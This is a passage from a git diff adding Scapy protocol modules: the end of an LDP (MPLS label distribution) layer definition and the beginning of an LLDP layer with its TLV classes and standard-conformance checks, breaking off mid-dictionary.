+from scapy.packet import *
+from scapy.fields import *
+from scapy.ansmachine import *
+from scapy.layers.inet import UDP
+from scapy.layers.inet import TCP
+from scapy.base_classes import Net
+from scapy.modules.six.moves import range
+
+
+# Guess payload
+def guess_payload(p):
+    LDPTypes = {
+        0x0001: LDPNotification,
+        0x0100: LDPHello,
+        0x0200: LDPInit,
+        0x0201: LDPKeepAlive,
+        0x0300: LDPAddress,
+        0x0301: LDPAddressWM,
+        0x0400: LDPLabelMM,
+        0x0401: LDPLabelReqM,
+        0x0404: LDPLabelARM,
+        0x0402: LDPLabelWM,
+        0x0403: LDPLabelRelM,
+        }
+    type = struct.unpack("!H",p[0:2])[0]
+    type = type & 0x7fff
+    if type == 0x0001 and struct.unpack("!H",p[2:4])[0] > 20:
+        return LDP
+    if type in LDPTypes:
+        return LDPTypes[type]
+    else:
+        return conf.raw_layer
+
+## Fields ##
+
+# 3.4.1. FEC TLV
+
+class FecTLVField(StrField):
+    islist=1
+    def m2i(self, pkt, x):
+        nbr = struct.unpack("!H",x[2:4])[0]
+        used = 0
+        x=x[4:]
+        list=[]
+        while x:
+            #if x[0] == 1:
+            #   list.append('Wildcard')
+            #else:
+            #mask=ord(x[8*i+3])
+            #add=inet_ntoa(x[8*i+4:8*i+8])
+            mask=ord(x[3])
+            nbroctets = mask / 8
+            if mask % 8:
+                nbroctets += 1
+            add=inet_ntoa(x[4:4+nbroctets]+b"\x00"*(4-nbroctets))
+            list.append( (add, mask) )
+            used += 4 + nbroctets
+            x=x[4+nbroctets:]
+        return list
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        s = b"\x01\x00"
+        l = 0
+        fec = ""
+        for o in x:
+            fec += b"\x02\x00\x01"
+            # mask length
+            fec += struct.pack("!B",o[1])
+            # Prefix
+            fec += inet_aton(o[0])
+            l += 8
+        s += struct.pack("!H",l)
+        s += fec
+        return s
+    def size(self, s):
+        """Get the size of this field"""
+        l = 4 + struct.unpack("!H",s[2:4])[0]
+        return l
+    def getfield(self, pkt, s):
+        l = self.size(s)
+        return s[l:],self.m2i(pkt, s[:l])
+        
+
+# 3.4.2.1. Generic Label TLV
+
+class LabelTLVField(StrField):
+    def m2i(self, pkt, x):
+        return struct.unpack("!I",x[4:8])[0]
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        s = b"\x02\x00\x00\x04"
+        s += struct.pack("!I",x)
+        return s
+    def size(self, s):
+        """Get the size of this field"""
+        l = 4 + struct.unpack("!H",s[2:4])[0]
+        return l
+    def getfield(self, pkt, s):
+        l = self.size(s)
+        return s[l:],self.m2i(pkt, s[:l])
+
+
+# 3.4.3. Address List TLV
+
+class AddressTLVField(StrField):
+    islist=1
+    def m2i(self, pkt, x):
+        nbr = struct.unpack("!H",x[2:4])[0] - 2
+        nbr /= 4
+        x=x[6:]
+        list=[]
+        for i in range(0, nbr):
+            add = x[4*i:4*i+4]
+            list.append(inet_ntoa(add))
+        return list
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        l=2+len(x)*4
+        s = b"\x01\x01"+struct.pack("!H",l)+b"\x00\x01"
+        for o in x:
+            s += inet_aton(o)
+        return s
+    def size(self, s):
+        """Get the size of this field"""
+        l = 4 + struct.unpack("!H",s[2:4])[0]
+        return l
+    def getfield(self, pkt, s):
+        l = self.size(s)
+        return s[l:],self.m2i(pkt, s[:l])
+
+
+# 3.4.6. Status TLV
+
+class StatusTLVField(StrField):
+    islist=1
+    def m2i(self, pkt, x):
+        l = []
+        statuscode = struct.unpack("!I",x[4:8])[0]
+        l.append( (statuscode & 2**31) >> 31)
+        l.append( (statuscode & 2**30) >> 30)
+        l.append( statuscode & 0x3FFFFFFF )
+        l.append( struct.unpack("!I", x[8:12])[0] )
+        l.append( struct.unpack("!H", x[12:14])[0] )
+        return l
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        s = b"\x03\x00" + struct.pack("!H",10)
+        statuscode = 0
+        if x[0] != 0:
+            statuscode += 2**31
+        if x[1] != 0:
+            statuscode += 2**30
+        statuscode += x[2]
+        s += struct.pack("!I",statuscode)
+        if len(x) > 3:
+            s += struct.pack("!I",x[3])
+        else:
+            s += b"\x00\x00\x00\x00"
+        if len(x) > 4:
+            s += struct.pack("!H",x[4])
+        else:
+            s += b"\x00\x00"
+        return s
+    def getfield(self, pkt, s):
+        l = 14
+        return s[l:],self.m2i(pkt, s[:l])
+
+
+# 3.5.2 Common Hello Parameters TLV
+class CommonHelloTLVField(StrField):
+    islist = 1
+    def m2i(self, pkt, x):
+        list = []
+        v = struct.unpack("!H",x[4:6])[0]
+        list.append(v)
+        flags = struct.unpack("B",x[6])[0]
+        v = ( flags & 0x80 ) >> 7
+        list.append(v)
+        v = ( flags & 0x40 ) >> 7
+        list.append(v)
+        return list
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        s = b"\x04\x00\x00\x04"
+        s += struct.pack("!H",x[0])
+        byte = 0
+        if x[1] == 1:
+            byte += 0x80
+        if x[2] == 1:
+            byte += 0x40
+        s += struct.pack("!B",byte)
+        s += b"\x00"
+        return s
+    def getfield(self, pkt, s):
+        l = 8
+        return s[l:],self.m2i(pkt, s[:l])
+
+
+# 3.5.3 Common Session Parameters TLV
+class CommonSessionTLVField(StrField):
+    islist = 1
+    def m2i(self, pkt, x):
+        l = [struct.unpack("!H", x[6:8])[0]]
+        octet = struct.unpack("B",x[8:9])[0]
+        l.append( (octet & 2**7 ) >> 7 )
+        l.append( (octet & 2**6 ) >> 6 )
+        l.append( struct.unpack("B",x[9:10])[0] )
+        l.append( struct.unpack("!H",x[10:12])[0] )
+        l.append( inet_ntoa(x[12:16]) )
+        l.append( struct.unpack("!H",x[16:18])[0] )
+        return l
+    def i2m(self, pkt, x):
+        if isinstance(x, str):
+            return x
+        s = b"\x05\x00\x00\x0E\x00\x01"
+        s += struct.pack("!H",x[0])
+        octet = 0
+        if x[1] != 0:
+            octet += 2**7
+        if x[2] != 0:
+            octet += 2**6
+        s += struct.pack("!B",octet)
+        s += struct.pack("!B",x[3])
+        s += struct.pack("!H",x[4])
+        s += inet_aton(x[5])
+        s += struct.pack("!H",x[6])
+        return s
+    def getfield(self, pkt, s):
+        l = 18
+        return s[l:],self.m2i(pkt, s[:l])
+    
+
+
+## Messages ##
+
+# 3.5.1. Notification Message
+class LDPNotification(Packet):
+    name = "LDPNotification"
+    fields_desc = [ BitField("u",0,1),
+                    BitField("type", 0x0001, 15),
+                    ShortField("len", None),
+                    IntField("id", 0) ,
+                    StatusTLVField("status",(0,0,0,0,0)) ]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.2. Hello Message
+class LDPHello(Packet):
+    name = "LDPHello"
+    fields_desc = [ BitField("u",0,1),
+                    BitField("type", 0x0100, 15),
+                    ShortField("len", None),
+                    IntField("id", 0) ,
+                    CommonHelloTLVField("params",[180,0,0]) ]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.3. Initialization Message
+class LDPInit(Packet):
+    name = "LDPInit"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0200, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    CommonSessionTLVField("params",None)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.4. KeepAlive Message
+class LDPKeepAlive(Packet):
+    name = "LDPKeepAlive"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0201, 15),
+                    ShortField("len", None),
+                    IntField("id", 0)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.5. Address Message
+
+class LDPAddress(Packet):
+    name = "LDPAddress"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0300, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    AddressTLVField("address",None) ]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.6. Address Withdraw Message
+
+class LDPAddressWM(Packet):
+    name = "LDPAddressWM"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0301, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    AddressTLVField("address",None) ]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.7. Label Mapping Message
+
+class LDPLabelMM(Packet):
+    name = "LDPLabelMM"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0400, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    FecTLVField("fec",None),
+                    LabelTLVField("label",0)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+# 3.5.8. Label Request Message
+
+class LDPLabelReqM(Packet):
+    name = "LDPLabelReqM"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0401, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    FecTLVField("fec",None)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.9. Label Abort Request Message
+
+class LDPLabelARM(Packet):
+    name = "LDPLabelARM"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0404, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    FecTLVField("fec",None),
+                    IntField("labelRMid",0)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.10. Label Withdraw Message
+
+class LDPLabelWM(Packet):
+    name = "LDPLabelWM"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0402, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    FecTLVField("fec",None),
+                    LabelTLVField("label",0)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.5.11. Label Release Message
+
+class LDPLabelRelM(Packet):
+    name = "LDPLabelRelM"
+    fields_desc = [ BitField("u",0,1),
+                    XBitField("type", 0x0403, 15),
+                    ShortField("len", None),
+                    IntField("id", 0),
+                    FecTLVField("fec",None),
+                    LabelTLVField("label",0)]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p) - 4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay  
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+
+# 3.1. LDP PDUs
+class LDP(Packet):
+    name = "LDP"
+    fields_desc = [ ShortField("version",1),
+                    ShortField("len", None),
+                    IPField("id","127.0.0.1"),
+                    ShortField("space",0) ]
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)-4
+            p = p[:2]+struct.pack("!H", l)+p[4:]
+        return p+pay
+    def guess_payload_class(self, p):
+        return guess_payload(p)
+
+bind_layers( TCP, LDP, sport=646, dport=646 )
+bind_layers( UDP, LDP, sport=646, dport=646 )
diff --git a/scapy/contrib/lldp.py b/scapy/contrib/lldp.py
new file mode 100644
index 0000000..09c3b18
--- /dev/null
+++ b/scapy/contrib/lldp.py
@@ -0,0 +1,713 @@
+#! /usr/bin/env python
+#
+# scapy.contrib.description = LLDP
+# scapy.contrib.status = loads
+
+"""
+    LLDP - Link Layer Discovery Protocol
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+    :author:    Thomas Tannhaeuser, hecke@naberius.de
+    :license:   GPLv2
+
+        This module is free software; you can redistribute it and/or
+        modify it under the terms of the GNU General Public License
+        as published by the Free Software Foundation; either version 2
+        of the License, or (at your option) any later version.
+
+        This module is distributed in the hope that it will be useful,
+        but WITHOUT ANY WARRANTY; without even the implied warranty of
+        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+        GNU General Public License for more details.
+
+    :description:
+
+        This module provides Scapy layers for the LLDP protocol.
+
+        normative references:
+            - IEEE 802.1AB 2016 - LLDP protocol, topology and MIB description
+
+    :TODO:
+        - organization specific TLV e.g. ProfiNet
+
+    :NOTES:
+        - you can find the layer configuration options at the end of this file
+        - default configuration enforces standard conform
+          - frame structure
+                (ChassisIDTLV/PortIDTLV/TimeToLiveTLV/.../EndofLLDPDUTLV)
+          - multiplicity of TLVs (if given by the standard)
+          - min sizes of strings used by the TLVs
+        - conf.contribs['LLDP'].strict_mode_disable() -> disable strict mode
+        - strict mode = True => conf.debug_dissector = True
+
+"""
+from scapy.config import conf
+from scapy.layers.dot11 import Packet
+from scapy.layers.l2 import Ether, Dot1Q, bind_layers, \
+    BitField, StrLenField, ByteEnumField, BitEnumField, \
+    BitFieldLenField, ShortField, Padding, Scapy_Exception, \
+    XStrLenField
+from scapy.modules.six.moves import range
+from scapy.data import ETHER_TYPES
+from scapy.compat import orb, raw
+
+LLDP_NEAREST_BRIDGE_MAC = '01:80:c2:00:00:0e'
+LLDP_NEAREST_NON_TPMR_BRIDGE_MAC = '01:80:c2:00:00:03'
+LLDP_NEAREST_CUSTOMER_BRIDGE_MAC = '01:80:c2:00:00:00'
+
+LLDP_ETHER_TYPE = 0x88cc
+ETHER_TYPES['LLDP'] = LLDP_ETHER_TYPE
+
+
+class LLDPInvalidFrameStructure(Scapy_Exception):
+    """
+    basic frame structure not standard conform
+    (missing TLV, invalid order or multiplicity)
+    """
+    pass
+
+
+class LLDPInvalidLastLayerException(Scapy_Exception):
+    """
+    in strict mode, last layer in frame must be of type LLDPDUEndOfLLDPDU
+    """
+    pass
+
+
+class LLDPMissingLowerLayer(Scapy_Exception):
+    """
+    first layer below first LLDPDU must be Ethernet or Dot1q
+    """
+    pass
+
+
+class LLDPInvalidTLVCount(Scapy_Exception):
+    """
+    invalid number of entries for a specific TLV type
+    """
+    pass
+
+
+class LLDPInvalidLengthField(Scapy_Exception):
+    """
+    invalid value of length field
+    """
+    pass
+
+
+class LLDPDU(Packet):
+    """
+    base class for all LLDP data units
+    """
+    TYPES = {
+        0x00: 'end of LLDPDU',
+        0x01: 'chassis id',
+        0x02: 'port id',
+        0x03: 'time to live',
+        0x04: 'port description',
+        0x05: 'system name',
+        0x06: 'system description',
+        0x07: 'system capabilities',
+        0x08: 'management address',
+        range(0x09, 0x7e): 'reserved - future standardization',
+        127: 'organisation specific TLV'
+    }
+
+    DOT1Q_HEADER_LEN = 4
+    ETHER_HEADER_LEN = 14
+    ETHER_FSC_LEN = 4
+    ETHER_FRAME_MIN_LEN = 64
+
+    LAYER_STACK = []
+    LAYER_MULTIPLICITIES = {}
+
+    def guess_payload_class(self, payload):
+        # type is a 7-bit bitfield spanning bits 1..7 -> div 2
+        lldpdu_tlv_type = orb(payload[0]) // 2
+        return LLDPDU_CLASS_TYPES[lldpdu_tlv_type]
+
+    @staticmethod
+    def _dot1q_headers_size(layer):
+        """
+        calculate size of lower dot1q layers (if present)
+        :param layer: the layer to start at
+        :return: size of vlan headers, layer below lowest vlan header
+        """
+
+        vlan_headers_size = 0
+        under_layer = layer
+
+        while under_layer and isinstance(under_layer, Dot1Q):
+            vlan_headers_size += LLDPDU.DOT1Q_HEADER_LEN
+            under_layer = under_layer.underlayer
+
+        return vlan_headers_size, under_layer
+
+    def post_build(self, pkt, pay):
+
+        last_layer = not pay
+        if last_layer and conf.contribs['LLDP'].strict_mode() and \
+                        type(self).__name__ != LLDPDUEndOfLLDPDU.__name__:
+            raise LLDPInvalidLastLayerException('Last layer must be instance '
+                                                'of LLDPDUEndOfLLDPDU - '
+                                                'got {}'.
+                                                format(type(self).__name__))
+
+        under_layer = self.underlayer
+
+        if under_layer is None:
+            if conf.contribs['LLDP'].strict_mode():
+                raise LLDPMissingLowerLayer('No lower layer (Ethernet '
+                                            'or Dot1Q) provided.')
+            else:
+                return pkt + pay
+
+        if isinstance(under_layer, LLDPDU):
+            return pkt + pay
+
+        frame_size, under_layer = LLDPDU._dot1q_headers_size(under_layer)
+
+        if not under_layer or not isinstance(under_layer, Ether):
+            if conf.contribs['LLDP'].strict_mode():
+                raise LLDPMissingLowerLayer('No Ethernet layer provided.')
+            else:
+                return pkt + pay
+
+        frame_size += LLDPDU.ETHER_HEADER_LEN
+        frame_size += len(pkt) + len(pay) + LLDPDU.ETHER_FSC_LEN
+        if frame_size < LLDPDU.ETHER_FRAME_MIN_LEN:
+            return pkt + pay + b'\x00' * (LLDPDU.ETHER_FRAME_MIN_LEN - frame_size)
+        return pkt + pay
+
+    @staticmethod
+    def _frame_structure_check(structure_description):
+        """
+        check if the structure of the frame is conform to the basic
+        frame structure defined by the standard
+        :param structure_description: string-list reflecting LLDP-msg structure
+        """
+
+        standard_frame_structure = [LLDPDUChassisID.__name__,
+                                    LLDPDUPortID.__name__,
+                                    LLDPDUTimeToLive.__name__,
+                                    '<...>',
+                                    LLDPDUEndOfLLDPDU.__name__]
+
+        if len(structure_description) < 4:
+            raise LLDPInvalidFrameStructure(
+                'Invalid frame structure.\ngot: {}\nexpected: '
+                '{}'.format(' '.join(structure_description),
+                            ' '.join(standard_frame_structure)))
+
+        for idx, layer_name in enumerate(standard_frame_structure):
+
+            if layer_name == '<...>':
+                break
+            if layer_name != structure_description[idx]:
+                raise LLDPInvalidFrameStructure(
+                    'Invalid frame structure.\ngot: {}\nexpected: '
+                    '{}'.format(' '.join(structure_description),
+                                ' '.join(standard_frame_structure)))
+
+        if structure_description[-1] != standard_frame_structure[-1]:
+            raise LLDPInvalidFrameStructure(
+                'Invalid frame structure.\ngot: {}\nexpected: '
+                '{}'.format(' '.join(structure_description),
+                            ' '.join(standard_frame_structure)))
+
+    @staticmethod
+    def _tlv_multiplicities_check(tlv_type_count):
+        """
+        check if multiplicity of present TLVs conforms to the standard
+        :param tlv_type_count: dict containing counte-per-TLV
+        """
+
+        # * : 0..n, 1 : one and only one.
+        standard_multiplicities = {
+            LLDPDUEndOfLLDPDU.__name__: 1,
+            LLDPDUChassisID.__name__: 1,
+            LLDPDUPortID.__name__: 1,
+            LLDPDUTimeToLive.__name__: 1,
+            LLDPDUPortDescription: '*',
+            LLDPDUSystemName: '*',
+            LLDPDUSystemDescription: '*',
+            LLDPDUSystemCapabilities: '*',
+            LLDPDUManagementAddress: '*'
+        }
+
+        for tlv_type_name in standard_multiplicities:
+
+            standard_tlv_multiplicity = \
+                standard_multiplicities[tlv_type_name]
+            if standard_tlv_multiplicity == '*':
+                continue
+
+            try:
+                if tlv_type_count[tlv_type_name] != standard_tlv_multiplicity:
+                    raise LLDPInvalidTLVCount(
+                        'Invalid number of entries for TLV type '
+                        '{} - expected {} entries, got '
+                        '{}'.format(tlv_type_name,
+                                    standard_tlv_multiplicity,
+                                    tlv_type_count[tlv_type_name]))
+
+            except KeyError:
+                raise LLDPInvalidTLVCount('Missing TLV layer of type '
+                                          '{}.'.format(tlv_type_name))
+
+    def pre_dissect(self, s):
+
+        if conf.contribs['LLDP'].strict_mode():
+            if self.__class__.__name__ == 'LLDPDU':
+                LLDPDU.LAYER_STACK = []
+                LLDPDU.LAYER_MULTIPLICITIES = {}
+            else:
+                LLDPDU.LAYER_STACK.append(self.__class__.__name__)
+                try:
+                    LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] += 1
+                except KeyError:
+                    LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] = 1
+
+        return s
+
+    def dissection_done(self, pkt):
+
+        if self.__class__.__name__ == 'LLDPDU' and \
+                conf.contribs['LLDP'].strict_mode():
+            LLDPDU._frame_structure_check(LLDPDU.LAYER_STACK)
+            LLDPDU._tlv_multiplicities_check(LLDPDU.LAYER_MULTIPLICITIES)
+
+        super(LLDPDU, self).dissection_done(pkt)
+
+
+class LLDPDUChassisID(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.2 / p. 26
+    """
+    LLDP_CHASSIS_ID_TLV_SUBTYPES = {
+        0x00: 'reserved',
+        0x01: 'chassis component',
+        0x02: 'interface alias',
+        0x03: 'port component',
+        0x04: 'MAC address',
+        0x05: 'network address',
+        0x06: 'interface name',
+        0x07: 'locally assigned',
+        range(0x08, 0xff): 'reserved'
+    }
+
+    SUBTYPE_RESERVED = 0x00
+    SUBTYPE_CHASSIS_COMPONENT = 0x01
+    SUBTYPE_INTERFACE_ALIAS = 0x02
+    SUBTYPE_PORT_COMPONENT = 0x03
+    SUBTYPE_MAC_ADDRESS = 0x04
+    SUBTYPE_NETWORK_ADDRESS = 0x05
+    SUBTYPE_INTERFACE_NAME = 0x06
+    SUBTYPE_LOCALLY_ASSIGNED = 0x07
+
+    fields_desc = [
+        BitEnumField('_type', 0x01, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', None, 9, length_of='id',
+                         adjust=lambda pkt, x: len(pkt.id) + 1),
+        ByteEnumField('subtype', 0x00, LLDP_CHASSIS_ID_TLV_SUBTYPES),
+        XStrLenField('id', '', length_from=lambda pkt: pkt._length - 1)
+    ]
+
+    def _check(self):
+        """
+        run layer specific checks
+        """
+        if conf.contribs['LLDP'].strict_mode() and not self.id:
+            raise LLDPInvalidLengthField('id must be >= 1 characters long')
+
+    def post_dissect(self, s):
+        self._check()
+        return super(LLDPDUChassisID, self).post_dissect(s)
+
+    def do_build(self):
+        self._check()
+        return super(LLDPDUChassisID, self).do_build()
+
+
+class LLDPDUPortID(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.3 / p. 26
+    """
+    LLDP_PORT_ID_TLV_SUBTYPES = {
+        0x00: 'reserved',
+        0x01: 'interface alias',
+        0x02: 'port component',
+        0x03: 'MAC address',
+        0x04: 'network address',
+        0x05: 'interface name',
+        0x06: 'agent circuit ID',
+        0x07: 'locally assigned',
+        range(0x08, 0xff): 'reserved'
+    }
+
+    SUBTYPE_RESERVED = 0x00
+    SUBTYPE_INTERFACE_ALIAS = 0x01
+    SUBTYPE_PORT_COMPONENT = 0x02
+    SUBTYPE_MAC_ADDRESS = 0x03
+    SUBTYPE_NETWORK_ADDRESS = 0x04
+    SUBTYPE_INTERFACE_NAME = 0x05
+    SUBTYPE_AGENT_CIRCUIT_ID = 0x06
+    SUBTYPE_LOCALLY_ASSIGNED = 0x07
+
+    fields_desc = [
+        BitEnumField('_type', 0x02, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', None, 9, length_of='id',
+                         adjust=lambda pkt, x: len(pkt.id) + 1),
+        ByteEnumField('subtype', 0x00, LLDP_PORT_ID_TLV_SUBTYPES),
+        StrLenField('id', '', length_from=lambda pkt: pkt._length - 1)
+    ]
+
+    def _check(self):
+        """
+        run layer specific checks
+        """
+        if conf.contribs['LLDP'].strict_mode() and not self.id:
+            raise LLDPInvalidLengthField('id must be >= 1 characters long')
+
+    def post_dissect(self, s):
+        self._check()
+        return super(LLDPDUPortID, self).post_dissect(s)
+
+    def do_build(self):
+        self._check()
+        return super(LLDPDUPortID, self).do_build()
+
+
+class LLDPDUTimeToLive(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.4 / p. 29
+    """
+    fields_desc = [
+        BitEnumField('_type', 0x03, 7, LLDPDU.TYPES),
+        BitField('_length', 0x02, 9),
+        ShortField('ttl', 20)
+    ]
+
+    def _check(self):
+        """
+        run layer specific checks
+        """
+        if conf.contribs['LLDP'].strict_mode() and self._length != 2:
+            raise LLDPInvalidLengthField('length must be 2 - got '
+                                         '{}'.format(self._length))
+
+    def post_dissect(self, s):
+        self._check()
+        return super(LLDPDUTimeToLive, self).post_dissect(s)
+
+    def do_build(self):
+        self._check()
+        return super(LLDPDUTimeToLive, self).do_build()
+
+
+class LLDPDUEndOfLLDPDU(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.1 / p. 26
+    """
+    fields_desc = [
+        BitEnumField('_type', 0x00, 7, LLDPDU.TYPES),
+        BitField('_length', 0x00, 9),
+    ]
+
+    def extract_padding(self, s):
+        return '', s
+
+    def _check(self):
+        """
+        run layer specific checks
+        """
+        if conf.contribs['LLDP'].strict_mode() and self._length != 0:
+            raise LLDPInvalidLengthField('length must be 0 - got '
+                                         '{}'.format(self._length))
+
+    def post_dissect(self, s):
+        self._check()
+        return super(LLDPDUEndOfLLDPDU, self).post_dissect(s)
+
+    def do_build(self):
+        self._check()
+        return super(LLDPDUEndOfLLDPDU, self).do_build()
+
+
+class LLDPDUPortDescription(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.5 / p. 29
+    """
+    fields_desc = [
+        BitEnumField('_type', 0x04, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', None, 9, length_of='description'),
+        StrLenField('description', '', length_from=lambda pkt: pkt._length)
+    ]
+
+
+class LLDPDUSystemName(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.6 / p. 30
+    """
+    fields_desc = [
+        BitEnumField('_type', 0x05, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', None, 9, length_of='system_name'),
+        StrLenField('system_name', '', length_from=lambda pkt: pkt._length)
+    ]
+
+
+class LLDPDUSystemDescription(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.7 / p. 31
+    """
+    fields_desc = [
+        BitEnumField('_type', 0x06, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', None, 9, length_of='description'),
+        StrLenField('description', '', length_from=lambda pkt: pkt._length)
+    ]
+
+
+class LLDPDUSystemCapabilities(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.8 / p. 31
+    """
+    fields_desc = [
+        BitEnumField('_type', 0x07, 7, LLDPDU.TYPES),
+        BitFieldLenField('_length', 4, 9),
+        BitField('reserved_5_available', 0, 1),
+        BitField('reserved_4_available', 0, 1),
+        BitField('reserved_3_available', 0, 1),
+        BitField('reserved_2_available', 0, 1),
+        BitField('reserved_1_available', 0, 1),
+        BitField('two_port_mac_relay_available', 0, 1),
+        BitField('s_vlan_component_available', 0, 1),
+        BitField('c_vlan_component_available', 0, 1),
+        BitField('station_only_available', 0, 1),
+        BitField('docsis_cable_device_available', 0, 1),
+        BitField('telephone_available', 0, 1),
+        BitField('router_available', 0, 1),
+        BitField('wlan_access_point_available', 0, 1),
+        BitField('mac_bridge_available', 0, 1),
+        BitField('repeater_available', 0, 1),
+        BitField('other_available', 0, 1),
+        BitField('reserved_5_enabled', 0, 1),
+        BitField('reserved_4_enabled', 0, 1),
+        BitField('reserved_3_enabled', 0, 1),
+        BitField('reserved_2_enabled', 0, 1),
+        BitField('reserved_1_enabled', 0, 1),
+        BitField('two_port_mac_relay_enabled', 0, 1),
+        BitField('s_vlan_component_enabled', 0, 1),
+        BitField('c_vlan_component_enabled', 0, 1),
+        BitField('station_only_enabled', 0, 1),
+        BitField('docsis_cable_device_enabled', 0, 1),
+        BitField('telephone_enabled', 0, 1),
+        BitField('router_enabled', 0, 1),
+        BitField('wlan_access_point_enabled', 0, 1),
+        BitField('mac_bridge_enabled', 0, 1),
+        BitField('repeater_enabled', 0, 1),
+        BitField('other_enabled', 0, 1),
+    ]
+
+    def _check(self):
+        """
+        run layer specific checks
+        """
+        if conf.contribs['LLDP'].strict_mode() and self._length != 4:
+            raise LLDPInvalidLengthField('length must be 4 - got '
+                                         '{}'.format(self._length))
+
+    def post_dissect(self, s):
+        self._check()
+        return super(LLDPDUSystemCapabilities, self).post_dissect(s)
+
+    def do_build(self):
+        self._check()
+        return super(LLDPDUSystemCapabilities, self).do_build()
+
+
+class LLDPDUManagementAddress(LLDPDU):
+    """
+        ieee 802.1ab-2016 - sec. 8.5.9 / p. 32
+
+        currently only 0x00..0x1e are used by standards, no way to
+        use anything > 0xff as management address subtype is only
+        one octet wide
+
+        see https://www.iana.org/assignments/
+        address-family-numbers/address-family-numbers.xhtml
+    """
+    IANA_ADDRESS_FAMILY_NUMBERS = {
+        0x00: 'other',
+        0x01: 'IPv4',
+        0x02: 'IPv6',
+        0x03: 'NSAP',
+        0x04: 'HDLC',
+        0x05: 'BBN',
+        0x06: '802',
+        0x07: 'E.163',
+        0x08: 'E.164',
+        0x09: 'F.69',
+        0x0a: 'X.121',
+        0x0b: 'IPX',
+        0x0c: 'Appletalk',
+        0x0d: 'Decnet IV',
+        0x0e: 'Banyan Vines',
+        0x0f: 'E.164 with NSAP',
+        0x10: 'DNS',
+        0x11: 'Distinguished Name',
+        0x12: 'AS Number',
+        0x13: 'XTP over IPv4',
+        0x14: 'XTP over IPv6',
+        0x15: 'XTP native mode XTP',
+        0x16: 'Fiber Channel World-Wide Port Name',
+        0x17: 'Fiber Channel World-Wide Node Name',
+        0x18: 'GWID',
+        0x19: 'AFI for L2VPN',
